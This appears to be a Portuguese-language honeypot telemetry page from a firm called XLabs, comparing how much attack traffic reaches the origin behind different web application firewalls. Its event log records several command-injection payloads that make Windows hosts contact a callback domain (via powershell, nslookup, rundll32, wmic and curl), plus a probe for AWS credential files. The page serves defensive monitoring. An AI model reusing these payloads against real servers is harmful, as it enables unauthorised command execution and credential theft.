Boletim XLabs / SEC-OPS | Edição contínua | 2026.04.24
Honeypot público XLabs Pro

Telemetria · atualização contínua

Tráfego e tentativas de exploração por borda

Comparamos o que cada borda deixa passar até a origem. Cada cenário (Sem WAF, Cloudflare Free, XLabs Pro) é contabilizado em paralelo, e qualquer payload classificado como ataque também aparece no log abaixo.

Requisições (24h) 366602
Ataques (24h) 266387
% ataques (24h) 0,73
Total registrado 266389

Requisições vs ataques por borda (24h)

Atualiza a cada 4s
Modo Requisições Ataques % ataques Distribuição
Cloudflare Free 366359 266275 0,7
SEM WAF 67 43 0,6
XLabs Pro 176 69 0,4

Por categoria (24h)

  • xss 92914
  • sqli 70555
  • recon 31029
  • lfi 16611
  • rce 16202
  • ssrf 14931
  • open_redirect 11256
  • ssti 5899
  • cve 5547
  • exposed_file 1440

Por severidade (24h)

  • high 201102
  • low 31029
  • critical 21749
  • medium 12504

Top IPs com mais ataques (24h)

geolocalização via XLabs GeoIP
IP Origem Eventos
188.241.x.x BR 266005 filtrar
201.20.x.x BR 153 filtrar
52.15.x.x US 34 filtrar
216.73.x.x US 26 filtrar
77.83.x.x UA 16 filtrar
104.164.x.x — 13 filtrar
162.159.x.x BR 13 filtrar
216.73.x.x US 12 filtrar
45.148.x.x — 9 filtrar
162.159.x.x BR 8 filtrar

Países com mais IPs catalogados

cache GeoIP / XLabs
País IPs
United States 21
Brazil 11
Germany 6
Singapore 6
Netherlands 4
Hong Kong 2
Indonesia 2
South Korea 2
Argentina 1
Spain 1

Stream de eventos

Histórico (polling pausado) · página 4 de 5328
Hora Sev. Categoria Método Caminho IP País Rota
03:29:23 critical Remote Command Execution GET /produtos/ 188.241.x.x BR cf-free
03:29:23 high Local File Inclusion / Path Traversal GET /ir 188.241.x.x BR cf-free
03:29:23 low Reconhecimento GET /visualizar/ 188.241.x.x BR cf-free
03:29:23 critical Remote Command Execution GET /produtos 188.241.x.x BR cf-free
03:29:20 low Reconhecimento GET /ir/ 188.241.x.x BR cf-free
03:29:20 low Reconhecimento GET /visualizar 188.241.x.x BR cf-free
03:29:19 low Reconhecimento GET /produtos/ 188.241.x.x BR cf-free
03:29:19 low Reconhecimento GET /ir 188.241.x.x BR cf-free
03:29:19 low Reconhecimento GET /ir/ 188.241.x.x BR cf-free
03:29:18 low Reconhecimento GET /produtos 188.241.x.x BR cf-free
03:29:18 critical Remote Command Execution GET /produtos/& powershell -nop -c "Resolve-DnsName 52b276da.webscan.xlabs.com.br" 188.241.x.x BR cf-free
03:29:18 high Local File Inclusion / Path Traversal GET /ir/ 188.241.x.x BR cf-free
03:29:18 critical Remote Command Execution GET /tema/dossier/ 188.241.x.x BR cf-free
03:29:18 low Reconhecimento GET /produtos/ 188.241.x.x BR cf-free
03:29:18 critical Remote Command Execution GET /tema/dossier 188.241.x.x BR cf-free
03:29:17 high Local File Inclusion / Path Traversal GET /ir 188.241.x.x BR cf-free
03:29:17 low Reconhecimento GET /produtos 188.241.x.x BR cf-free
03:29:14 low Reconhecimento GET /produtos/& nslookup 28db3925.webscan.xlabs.com.br 188.241.x.x BR cf-free
03:29:12 high Local File Inclusion / Path Traversal GET /ir/ 188.241.x.x BR cf-free
03:29:12 low Reconhecimento GET /produtos/ 188.241.x.x BR cf-free
03:29:11 high Local File Inclusion / Path Traversal GET /ir 188.241.x.x BR cf-free
03:29:11 low Reconhecimento GET /produtos 188.241.x.x BR cf-free
03:29:08 low Reconhecimento GET /produtos/ 188.241.x.x BR cf-free
03:29:08 high Local File Inclusion / Path Traversal GET /ir/ 188.241.x.x BR cf-free
03:29:08 low Reconhecimento GET /produtos 188.241.x.x BR cf-free
03:29:08 high Local File Inclusion / Path Traversal GET /ir 188.241.x.x BR cf-free
03:29:08 low Reconhecimento GET /produtos/& rundll32 url.dll,OpenURL https://webscan.xlabs.com.br/cb/e30d9934/ 188.241.x.x BR cf-free
03:29:05 low Reconhecimento GET /produtos/ 188.241.x.x BR cf-free
03:29:05 high Local File Inclusion / Path Traversal GET /ir/ 188.241.x.x BR cf-free
03:29:03 low Reconhecimento GET /produtos 188.241.x.x BR cf-free
03:29:02 high Local File Inclusion / Path Traversal GET /ir 188.241.x.x BR cf-free
03:28:59 low Reconhecimento GET /produtos/ 188.241.x.x BR cf-free
03:28:59 low Reconhecimento GET /produtos/& wmic process call create "cmd /c curl.exe -s https://webscan.xlabs.com.br/cb/93a3a9af/" 188.241.x.x BR cf-free
03:28:59 low Reconhecimento GET /produtos 188.241.x.x BR cf-free
03:28:59 high Local File Inclusion / Path Traversal GET /ir/ 188.241.x.x BR cf-free
03:28:56 high Local File Inclusion / Path Traversal GET /ir 188.241.x.x BR cf-free
03:28:56 critical Remote Command Execution GET /produtos/ 188.241.x.x BR cf-free
03:28:56 low Reconhecimento GET /ferramentas/ping/ 188.241.x.x BR cf-free
03:28:56 critical Remote Command Execution GET /produtos 188.241.x.x BR cf-free
03:28:56 low Reconhecimento GET /ferramentas/ping 188.241.x.x BR cf-free
03:28:56 high Local File Inclusion / Path Traversal GET /ir/ 188.241.x.x BR cf-free
03:28:56 low Reconhecimento GET /produtos/& cmd /c curl.exe -s https://webscan.xlabs.com.br/cb/09a5a497/ 188.241.x.x BR cf-free
03:28:54 critical Remote Command Execution GET /produtos/ 188.241.x.x BR cf-free
03:28:54 medium Arquivo sensível exposto GET /.aws/credentials 188.241.x.x BR cf-free
03:28:54 high Local File Inclusion / Path Traversal GET /ir 188.241.x.x BR cf-free
03:28:53 critical Remote Command Execution GET /produtos 188.241.x.x BR cf-free
03:28:53 low Reconhecimento GET /ir/ 188.241.x.x BR cf-free
03:28:51 high Local File Inclusion / Path Traversal GET /ir/ 188.241.x.x BR cf-free
03:28:51 low Reconhecimento GET /ferramentas/ping/ 188.241.x.x BR cf-free
03:28:51 low Reconhecimento GET /ir 188.241.x.x BR cf-free